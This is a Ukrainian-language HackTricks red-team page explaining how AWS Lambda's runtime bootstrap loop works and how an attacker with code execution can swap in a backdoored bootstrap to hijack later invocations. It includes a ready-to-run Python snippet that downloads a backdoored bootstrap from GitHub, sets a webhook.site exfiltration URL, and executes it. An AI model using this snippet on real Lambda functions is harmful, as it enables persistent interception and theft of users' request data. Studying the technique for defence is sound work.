AWS - Steal Lambda Requests

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Потік Lambda

  1. Slicer - це процес поза контейнером, який надсилає запити до процесу init.

  2. Процес init слухає порт 9001, викриваючи деякі цікаві кінцеві точки:

  • /2018-06-01/runtime/invocation/next – отримати наступну подію запиту

  • /2018-06-01/runtime/invocation/{invoke-id}/response – повернути відповідь обробника для запиту

  • /2018-06-01/runtime/invocation/{invoke-id}/error – повернути помилку виконання

  1. bootstrap.py має цикл отримання запитів від процесу init та викликає код користувача для їх обробки (/next).

  2. Нарешті, bootstrap.py надсилає відповідь до init.

Зверніть увагу, що bootstrap завантажує код користувача як модуль, тому будь-яке виконання коду, виконане кодом користувача, фактично відбувається в цьому процесі.

Вкрадення запитів Lambda

Метою цього нападу є змусити код користувача виконати зловмисний процес bootstrap.py всередині процесу bootstrap.py, який обробляє вразливий запит. Таким чином, зловмисний процес bootstrap почне спілкуватися з процесом init для обробки запитів, тоді як легітимний bootstrap застрягне на виконанні зловмисного, тому він не буде запитувати про запити до процесу init.

Це просте завдання для досягнення, оскільки код користувача виконується легітим bootstrap.py процесом. Таким чином, зловмисник може:

  • Надіслати фальшивий результат поточного запиту до процесу init, щоб init вважав, що процес bootstrap чекає на більше запитів.

  • Запит повинен бути надісланий до /${invoke-id}/response

  • ID запиту можна отримати зі стеку легітимного bootstrap.py процесу, використовуючи модуль python inspect (як запропоновано тут) або просто запросивши його знову до /2018-06-01/runtime/invocation/next (як запропоновано тут).

  • Виконати зловмисний boostrap.py, який буде обробляти наступні запити

  • З метою недосяжності можна надіслати параметри викликів lambda до керованого атакуючого C2, а потім обробляти запити як зазвичай.

  • Для цього нападу достатньо отримати оригінальний код bootstrap.py з системи або github, додати зловмисний код та запустити його з поточного виклику lambda.

Кроки нападу

  1. Знайдіть уразливість RCE.

  2. Створіть зловмисний bootstrap (наприклад, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)

  3. Виконайте зловмисний bootstrap.

Ви можете легко виконати ці дії, запустивши:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Для отримання додаткової інформації перевірте https://github.com/carlospolop/lambda_bootstrap_switcher

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated